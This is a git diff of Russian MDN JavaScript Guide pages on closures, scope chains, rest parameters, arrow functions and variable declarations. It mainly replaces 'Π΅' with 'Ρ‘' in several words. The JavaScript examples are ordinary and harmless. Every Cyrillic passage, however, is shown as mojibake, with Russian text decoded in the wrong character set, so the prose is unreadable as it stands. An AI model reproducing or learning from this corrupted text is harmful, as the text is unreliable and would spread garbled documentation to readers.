-<p>Π’ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, ΠΎΠ΄Π½Π°ΠΊΠΎ, это Π½Π΅ Π²Π΅Ρ€Π½ΠΎ. <code>A</code>Β Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ <code>C</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ <code>A</code>Β Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ доступ ΠΊ <code>B</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, <code>C</code> остаСтся ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для <code>B</code>.</p>
+<p>Π’ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, ΠΎΠ΄Π½Π°ΠΊΠΎ, это Π½Π΅ Π²Π΅Ρ€Π½ΠΎ. <code>A</code>Β Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ <code>C</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ <code>A</code>Β Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ доступ ΠΊ <code>B</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, <code>C</code> остаётся ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для <code>B</code>.</p>
-<h3 id="ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹_ΠΈΠΌΠ΅Π½_Name_conflicts">ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹ ΠΈΠΌΠ΅Π½ (Name conflicts)</h3>
+<h3 id="ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹_ΠΈΠΌΡ‘Π½_Name_conflicts">ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚Ρ‹ ΠΈΠΌΡ‘Π½ (Name conflicts)</h3>
<p>Когда Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² scope Ρƒ closure ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, происходит <em>ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ ΠΈΠΌΠ΅Π½ΠΈ</em>Β (<em>name conflict</em>). Π‘ΠΎΠ»Π΅Π΅ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ (<em>moreΒ inner</em>) scope ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, Ρ‚Π°ΠΊ самый Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ scope ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°ΠΈΠ²Ρ‹ΡΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚. Π­Ρ‚ΠΎΒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° областСй видимости (<em>scope chain</em>). Π‘Π°ΠΌΡ‹ΠΌΒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΒ Π·Π²Π΅Π½ΠΎΠΌ являСтся самый Π³Π»ΡƒΠ±ΠΎΠΊΠΈΠΉ scope, ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅:</p>
@@ -395,7 +395,7 @@ A(1); // Π² консолС вывСдится 6 (1 + 2 + 3)</pre>
outside()(10); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 20 вмСсто 10</pre>
-<p>ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» Π² инструкции <code>return x * 2</code> ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>inside</code> ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>outside</code>. Scope chain здСсь Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ: {<code>inside</code> ==&gt; <code>outside</code> ==&gt; Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (<em>global object</em>)}. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>inside</code> ΠΈΠΌΠ΅Π΅Ρ‚ больший ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с <code>outside</code>, ΠΈ Π½Π°ΠΌ Π²Π΅Ρ€Π½ΡƒΠ»ΠΎΡΡŒ 20 (= 10 * 2), Π° Π½Π΅ 10 (= 5 * 2).</p>
+<p>ΠšΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ ΠΈΠΌΠ΅Π½ΠΈ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» Π² инструкции <code>return x * 2</code> ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>inside</code> ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>outside</code>. Scope chain здСсь Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ: {<code>inside</code> ==&gt; <code>outside</code> ==&gt; Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (<em>global object</em>)}. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ <code>x</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>inside</code> ΠΈΠΌΠ΅Π΅Ρ‚ больший ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с <code>outside</code>, ΠΈ Π½Π°ΠΌ Π²Π΅Ρ€Π½ΡƒΠ»ΠΎΡΡŒ 20 (= 10 * 2), Π° Π½Π΅ 10 (= 5 * 2).</p>
<h2 id="Замыкания"><a id="definition" name="definition"></a>Замыкания</h2>
@@ -407,7 +407,7 @@ outside()(10); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 20 вмСсто 10</pre>
<p>Π’Π°ΠΊΠΆΠ΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ влоТСнная функция ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ scope внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΎ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ послС Π΅Ρ‘ выполнСния для Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ссли Π½Π° Π½ΠΈΡ… ΠΈ Π½Π° Π½Π΅Ρ‘ сохранился доступ (имССтся Π²Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π²ΠΎ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ, Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Π΅ΡΠ»ΠΈ внутрСнняя функция обращаСтся ΠΊ Π½ΠΈΠΌ).</p>
-<p>Closure создаСтся, ΠΊΠΎΠ³Π΄Π° влоТСнная функция ΠΊΠ°ΠΊ-Ρ‚ΠΎ стала доступной Π² Π½Π΅ΠΊΠΎΠΌ scope Π²Π½Π΅ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Closure создаётся, ΠΊΠΎΠ³Π΄Π° влоТСнная функция ΠΊΠ°ΠΊ-Ρ‚ΠΎ стала доступной Π² Π½Π΅ΠΊΠΎΠΌ scope Π²Π½Π΅ внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js">var pet = function(name) { // Π’Π½Π΅ΡˆΠ½ΡΡ функция объявила ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ "name"
var getName = function() {
@@ -568,7 +568,7 @@ multiply(5); // 5</pre>
<h3 id="ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_Rest_parameters">ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ (Rest parameters)</h3>
-<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a>Β ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½Π°ΠΌ массив Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с индСксами со 2-Π³ΠΎ Π΄ΠΎ послСднСго. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΡƒΠΌΠ½ΠΎΠΆΠΈΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ стрСлочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚ рассказано Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции.</p>
+<p><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">ΠžΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</a>Β ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½Π°ΠΌ массив Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠ΅ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ с индСксами со 2-Π³ΠΎ Π΄ΠΎ послСднСго. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΡƒΠΌΠ½ΠΎΠΆΠΈΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ стрСлочная функция (<u><em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)</em></u>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚ рассказано Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ сСкции.</p>
<pre class="brush: js">function multiply(multiplier, ...theArgs) {
return theArgs.map(x =&gt; multiplier * x);
@@ -607,7 +607,7 @@ console.log(a3); // logs [8, 6, 7, 9]</pre>
<h3 id="ЛСксика_this">ЛСксика <code>this</code></h3>
-<p>Π”ΠΎ стрСлочных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ каТдая новая функция опрСдСляла своС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code>Β (Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² случаС конструктора, undefined Π² strict mode,Β  контСкстный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ссли функция Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈ Ρ‚.Π΄.).Β  Π­Ρ‚ΠΎ оказалось Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΌ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ стиля программирования.</p>
+<p>Π”ΠΎ стрСлочных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ каТдая новая функция опрСдСляла своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>this</code>Β (Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² случаС конструктора, undefined Π² strict mode,Β  контСкстный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Ссли функция Π²Ρ‹Π·Π²Π°Π½Π° ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈ Ρ‚.Π΄.).Β  Π­Ρ‚ΠΎ оказалось Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΌ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ стиля программирования.</p>
<pre class="brush: js">function Person() {
// ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Person() опрСдСляСт `this` ΠΊΠ°ΠΊ самого сСбя.
@@ -616,14 +616,14 @@ console.log(a3); // logs [8, 6, 7, 9]</pre>
setInterval(function growUp() {
// Π‘Π΅Π· strict mode функция growUp() опрСдСляСт `this`
// ΠΊΠ°ΠΊ global object, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ отличаСтся ΠΎΡ‚ `this`
- // ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ конструктором Person().
+ // ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ конструктором Person().
this.age++;
}, 1000);
}
var p = new Person();</pre>
-<p>Π’ ECMAScript 3/5 эта ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π±Ρ‹Π»Π° исправлСна ΠΏΡƒΡ‚Π΅ΠΌ присвоСния значСния <code>this</code>Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π·Π°ΠΌΠΊΠ½ΡƒΡ‚ΡŒ.</p>
+<p>Π’ ECMAScript 3/5 эта ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π±Ρ‹Π»Π° исправлСна ΠΏΡƒΡ‚Ρ‘ΠΌ присвоСния значСния <code>this</code>Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π·Π°ΠΌΠΊΠ½ΡƒΡ‚ΡŒ.</p>
<pre class="brush: js">function Person() {
var self = this; // НСкоторыС Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ `that` вмСсто `self`.
diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html
index 6618946fbb..3807d40ef0 100644
--- a/files/ru/web/javascript/guide/grammar_and_types/index.html
+++ b/files/ru/web/javascript/guide/grammar_and_types/index.html
@@ -51,13 +51,13 @@ translation_of: Web/JavaScript/Guide/Grammar_and_types
<h3 id="ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅">ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ символичСскиС ΠΈΠΌΠ΅Π½Π° для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. ИмСна ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ {{Glossary("Identifier", "identifiers")}} ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊ символичСскиС ΠΈΠΌΠ΅Π½Π° для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. ИмСна ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡΒ {{Glossary("Identifier", "identifiers")}} ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ.</p>
-<p>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π² JavaScript Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчСркивания (_) ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° Π΄ΠΎΠ»Π»Π°Ρ€Π° ($); ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (0-9). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript чувствитСлСн ΠΊ рСгистру, Π±ΡƒΠΊΠ²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ символы ΠΎΡ‚ "A" Π΄ΠΎ "Z" (Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр) ΠΈ символы ΠΎΡ‚ "a" Π΄ΠΎ "z" (Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр).</p>
+<p>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π² JavaScript Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчёркивания (_) ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° Π΄ΠΎΠ»Π»Π°Ρ€Π° ($); ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Ρ‚ΡŒ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (0-9). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript чувствитСлСн ΠΊ рСгистру, Π±ΡƒΠΊΠ²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ символы ΠΎΡ‚ "A" Π΄ΠΎ "Z" (Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр) ΠΈ символы ΠΎΡ‚ "a" Π΄ΠΎ "z" (Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр).</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°Ρ… Π±ΡƒΠΊΠ²Ρ‹Β ISO 8859-1 ΠΈΠ»ΠΈ Unicode, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β Γ₯ ΠΈΠ»ΠΈΒ ΓΌ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ<a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals"> ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Unicode</a>Β ΠΊΠ°ΠΊ символы Π² ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°Ρ….</p>
-<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π½:Β <code style="font-style: normal;">Number_hits</code>,Β <code style="font-style: normal;">temp99</code>, Β <code style="font-style: normal;">_name</code>.</p>
+<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½:Β <code style="font-style: normal;">Number_hits</code>,Β <code style="font-style: normal;">temp99</code>, Β <code style="font-style: normal;">_name</code>.</p>
<h3 id="ОбъявлСниС_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">ОбъявлСниС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h3>
@@ -95,7 +95,7 @@ let x; </pre>
<span class="function token" style="color: #dd4a68;">doThat<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
<span class="punctuation token" style="color: #999999;">}</span></code></pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code> Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠ°ΠΊ <code>false</code>, ΠΊΠΎΠ³Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² логичСском контСкстС. НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ выполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>myFunction</code>, Ρ‚.ΠΊ. элСмСнт <code>myArray</code>Β Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½:</p>
